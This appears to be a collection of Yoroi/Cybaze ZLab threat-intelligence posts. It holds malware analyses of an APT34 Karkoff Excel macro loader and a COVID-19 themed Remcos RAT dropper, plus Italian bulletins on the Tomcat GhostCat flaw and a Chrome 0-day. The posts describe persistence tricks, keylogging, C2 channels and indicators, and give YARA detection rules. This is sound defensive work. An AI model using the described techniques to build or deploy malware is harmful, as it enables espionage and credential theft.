Hash926e29f9242feb3e11c532616f7c90c5d7acab115d38ebf748cabaaa6a2a3667
ThreatAPT34 Karkoff macro loader
Brief DescriptionMalicious Excel macro 
Ssdeep24576:zLNkxqHOPi1K5sLMKd2rVIehO/KBhjPyVuVX/+2PPbK:wl4E

Table 1. Sample information

The Malware is an Excel Document with a malicious macro embedded. The following image (Fig:1) shows the highlights of the extracted code. 

Fig.1. Malicious Macro: drop and execute monitor.exe

The macro extracts a custom base64 code from the body of the file and, after a decoding routine, it downloads an executable file  into the following path “C:\Users\public\.Monitor\monitor.exe”. Persistence is assured by scheduling a new task named SystemExchangeService. 

Fig.2.Persistence with SystemExchangeService

The extracted  payload is summed up as follows: :

Fig.3.Static details of monitor.exe

The payload were not obfuscated at all. This made a simple and quick analysis.

As shown in the above figure, the creation date is on 29 February, this is an indicator of the recent build of this implant. Moreover, a small file size (1.13MB) allows malicious content to be downloaded and executed quickly.

Fig.4. details of compromised mail exchange server parameters

As the first step, as shown in Fig 4, the sample tries to connect to its own command and control server, which happens to be an Exchange mail server belonging to the Lebanon government. Once it connects, the C2 answers back with the list of available commands as attachments in a replied e-mail. Fig 5 shows the GetList function from where we might appreciate the eMail body decoding process. From the body, a custom encoded string is decoded and later it is interpreted as a command.

Fig.5. detail of GetList function responsible for getting the list of available commands as mail attachments

Following our analysis, we noticed the malware tries to connect back and forth to its C2 to get authorization and to share detailed information about the infected system. It used “UserAgent” of the exchange client. Fig 6 shows details on what is hijacked from the victim’s side.

Fig.6. details of Information stolen on the victim’s machine

Another evidence is the domain registration of the second command control: it has been registered on January, 27, probably indicating the date of the beginning of the new attack.

Fig.7. details of domain registration godoycrus[.com

Conclusions

APT34 is still active, and this campaign against the Lebanon government demonstrates it. The new version of the Karkoff malware is the demonstration that the Iran-linked APT34 cyberespionage group continues to improve its arsenal. The sample involved in this campaign implements new reconnaissance capabilities, it implements a covert and effective C2 communication channel through the use of the Microsoft Exchange Protocol.

The Group likely exploited or brute-forced a Lebanon related mail account with another tool of its arsenal, the JASON tool. The Jason tool was leaked at the end of 2019, it could be used by attackers to carry out bruteforce attacks on exchange servers.

Indicators of Compromise

Yara Rules

rule Karkoff_Attack_2020_Excel_macro {
	meta:
  	description = "Yara Rule for new APT34 Karkoff campaign excel malicious macro"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2020-03-02"
  	tlp = "white"
  	category = "informational"

	strings:
	
	   $a1 = "EncodedData0"
	   $a2 = "NewTask9"
	   $a3 = "EAAMYEKwUAAEsEWQUAAMYEnQUAAMYEqAUAAJwSrgU"
	   $a4 = "TVqQAAMAAAAEAAAA"
    condition:
	all of them

}


rule Karkoff_Campaign_2020 {
	meta:
		description = "Yara Rule for new APT34 Karkoff campaign"
		author = "Cybaze Zlab_Yoroi"
		last_updated = "2020-03-02"
		tlp = "white"
		category = "informational"

	strings:
	
	   $a1 = "SystemExchangeService" ascii wide
	   $a2 = "getWindowsVersion" ascii wide
	   $a3 = "GetCommands" ascii wide
	   $s1 = {0A 7A 1E 02 7B 9C 12 00 04 2A}

    condition:
	uint16(0) == 0x5A4D and all of them

}

Intensificazione degli Attacchi “GhostCat”

Proto: N010320.

Con la presente Yoroi desidera aggiornarla relativamente alla vulnerabilità “GhostCat” recentemente scoperta all’interno dei servizi Apache Tomcat, Application Server diffuso anche in ambienti enterprise. La criticità è stata segnalata inizialmente segnalata con il bollettino N050220.  

Durante il weekend sono state registrate attività di attacco volte a sfruttare la vulnerabilità sui servizi  Tomcat AJP esposti su internet (porta di default 8009). I tentativi di ricognizione volti all’identificazione e allo sfruttamento delle vulnerabilità sono tutt’ora in corso ed in aumento

Figura. Potenziale esposizione servizi AJP (Fonte:ShodanHQ)

Il Manutentore ha confermato che la problematica affligge i connettori AJP presenti in tutte le versioni Apache Tomcat, ed ha rilasciato patch di sicurezza per le versioni 7, 8 e 9, ma non per la versione 6 in quanto fuori supporto. 

A questo proposito Yoroi consiglia di valutare l’eventuale esposizione Internet dei servizi AJP e di seguire le indicazioni di mitigazione segnalate nel bollettino Early Warning N050220.

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro “cyber”. Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index.

Vulnerabilità 0-Day su Google Chrome

Proto: N060220.

Con la presente Yoroi desidera informarLa ad una vulnerabilità 0-Day scoperta su Google Chrome, il web browser più diffuso in ambito privato e tra i più utilizzati anche in ambienti professionali. La criticità è nota con l’identificativo CVE-2020-6418.

La problematica è causata da lacune nella gestione dei tipi di dato all’interno del motore JavaScript V8 di Google Chrome, tale circostanza permette ad un attaccante remoto di eseguire codice arbitrario sul sistema bersaglio previa la navigazione su pagine web malevole o compromesse, aprendo così a scenari di rischio legati ad attacchi “Watering Hole” o “Exploit Kit”.

Il Produttore ha confermato la problematica rilasciando la versione 80.0.3987.122 del browser per sistemi Window, Linux e Mac in grado di risolvere la problematica.

I ricercatori del GTAG hanno inoltre confermato che la vulnerabilità è attualmente sfruttata per in operazioni di attacco 0-day, pertanto, considerata la potenziale diffusione del browser anche all’interno delle reti aziendali, Yoroi consiglia caldamente di applicare le patch di sicurezza rese disponibili dal produttore al parco macchine client.

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro “cyber”. Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index.

New Cyber Attack Campaign Leverages the COVID-19 Infodemic

Introduction

Nowadays, it is common to say that the physical world and the cyber world are strictly connected. The proof is the leverage of the current physical threat, the CoronaVirus, as a social engineering trick to infect the cyber world. It is not new for cyber-crooks to exploit social phenomena to spread malware in order to maximize the impact and dissemination of a malicious campaign. This is the case of the Greta Thunberg phenomenon exploited in recent Emotet campaigns or the holiday themed campaign spread a few months ago.

Indeed, during  the last month, a new virus, dubbed “Corona Virus” codename COVID-19 has been arising, infecting thousands of people in China, and also all around the world. 

The statistics are worrying, and, of course, they represent an opportunity for cyber-crooks. This kind of threat is opportunistic by design, aimed to hit everyone without any specific target. In an opportunistic attack scenario the malware is spread across a huge number of victims taking advantages of an early disclosed vulnerability and the time frame for patching it or taking advantages of a widespread phenomena such as in this case.

Threat actors are using fear and panic caused by the spread of the virus to deliver their malicious artifacts and increase the number of infected victims, making it look like a “Coronavirus countermeasures” document.

Kaspersky and IBM X-Force have recently discovered an Emotet campaign delivered on Corona Virus trend. In this case, based on the analysis of the shared IoC, all the identified samples are not new and were reused with some small changes. then delivered in China regions spread via a malicious decoy document, emphasizing the opportunistic nature of these attacks.

During our Threat Intelligence activities we noticed a suspicions artifact named “CoronaVirusSafetyMeasures_pdf”, so, intrigued by its name and by its recent submission on Yomi Hunter (LINK), we decided to deep dive into it.

Technical Analysis

Probably, the infection vector was a phishing mail containing a specific attachment. However, detailed information about the vector used to spread the malware are unknown. Our analysis, therefore, begins with the executable recovered from the Yomi Sandbox.

Hashc9c0180eba2a712f1aba1303b90cbf12c1117451ce13b68715931abc437b10cd
ThreatObfuscated Remcos RAT Dropper
Ssdeep768:dBbjxSuO05cYJAsq4XqkDSUWvcDD5Ebcoq:dSuT5cYJAsq4XqkxWID6m

Table 1. Sample information

The sample showed an interesting behavior, it established a TLS protected connection to a file sharing platform named “share.]dmca.]gripe”, possibly to avoid reputation warnings raised by next-gen firewalls.

Figure 2: URL in the dropper configuration

Figure 3: Dashboard of the file hosting service used

The file downloaded from this censorship free file hosting is actually a chunk of 125KB random looking bytes, suggesting it would likely be some binary payload protected with strong encryption.

Figure 4: Piece of the encrypted file downloaded from “share.]dmca.]gripe”

In the meantime, the malware writes two artifacts in the “C:\Users\<username>\Subfolder” system directory. Inside it,  two files named “filename1.vbs” and “filename1.exe” appeared.

Figure 5: Installed files

The content of the VBScript is straightforward: it simply is the launching point to run executable file. 

Figure 6: Body of the VBS script

The reboot survival of the infection is granted through the setup of the registry key “HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce”. A classical trick we keep noticing in a very huge number of malware implant, led us to think it actually still able to serve its malicious purpose even after decades, even after all the research community is fully aware of it.

Figure 7: Evidence of the set of the registry key

Then, the malicious code stores sensitive information gathered from the monitoring of user keypress in a file named “logs.dat”, placed in the  “%AppData%\Local\Temp\onedriv” directory. Different from the default Remcos working directory.

Figure 8: Path and file containing the sensitive information about the victim 

Finally, all the loot is sent to the remote command and control hosted at 66.154.98.108, operated by “Total server solutions LLC”, an US hosting provider operating since 2012.

Figure 9: C2 connection

Intercepting the malware process communications we noticed the usage “|cmd|” delimiter, a typical pattern confirming the final payload is a customized built of Remcos, also revealing the identifier of the attack campaign configured by the crooks: “j8gb-GBATN3”.

Figure 10: Piece of network communication intercepted

A summary of the infection chain can be represented by the following schema.

Figure 11: Malware attack chain

Conclusion

The COVID-19 phenomenon is scaring entire populations all around the world, many times raising panic and irrational or dangerous individual behaviors of a lot of people often pushed by some kind mass media narratives designed to leverage their uncertainty and emotional reactions, rather than inform them.

Cyber criminals are greedily looking at this kind of narrative and are launching wide-spread, opportunistic cyber attacks to exploit the irrational behaviors of the individuals overwhelmed by the COVID-19 infodemic. 

The ZLab-Yoroi Cybaze researchers advise to maintain a high attention level when receiving or treating communications claiming to be related to the CoronaVirus phenomenon, to avoid panic clicking on the link coming from unattended source and to contact trusted experts in case of the doubts. 

Indicator of Compromise 

Yara Rules

import "pe"
rule Remcos_RAT_COVID19_Feb_2020 {
    meta:
      description = "Yara rule for the Remcos RAT Feb_2020 "
      author = "Yoroi - ZLab"
      last_updated = "2020-02-25"
      tlp = "white"
      category = "informational"
    
strings:
      	 $a1 = {ED C3 37 D7 6F C7 E0 2F 7B BA DA}
     	 $a2 = {4D 53 56 42 56 4D 36 30}
	 $a3 = "VB5!6&*"
	 $a4 = "Khedivi"
	 $a5 = "|dbdU79?B_|"
	 $a6 = "Altsaxu1"
	  
    condition:
      uint16(0) == 0x5A4D and pe.number_of_sections == 3 and (3 of ($a*)) 
}

This blog post was authored by Davide Testa, Maria Francesca Lepore, Antonio Pirozzi and Luca Mella of Cybaze-Yoroi ZLAB